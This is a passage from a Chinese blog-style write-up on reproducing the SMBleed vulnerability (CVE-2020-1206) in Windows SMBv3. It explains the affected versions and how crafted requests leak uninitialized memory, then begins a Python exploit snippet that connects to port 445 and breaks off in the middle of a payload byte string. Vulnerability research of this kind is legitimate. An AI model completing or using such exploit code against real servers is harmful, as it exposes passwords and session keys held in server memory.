【复现】CVE-2020-1206SMBleed 滴血漏洞详细复现

**

SMBleed漏洞分析

**

概述

SMBleed漏洞（CVE-2020-1206）是一种存在于Microsoft Server Message Block（SMB）协议中的漏洞，该协议用于在Windows操作系统之间共享文件、打印机和其他资源。攻击者可以利用该漏洞来读取服务器内存中的敏感数据，例如密码和会话密钥。
影响范围

此漏洞影响所有运行Windows 10 Version 1903和Windows Server Version 1903及更高版本的系统。
攻击原理

攻击者可以通过发送特制的请求到目标系统上的SMBv3服务器来触发漏洞。当SMBv3服务器处理此请求时，它可能会返回未初始化的内存数据。攻击者可以使用这些数据来执行特权提升或其他攻击。
漏洞利用

以下是一个示例Python代码片段，可用于利用SMBleed漏洞：

import socket

target_host = "192.168.1.100"
target_port = 445

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_host, target_port))

构造Payload

payload = b"\x00\x00\x00\x90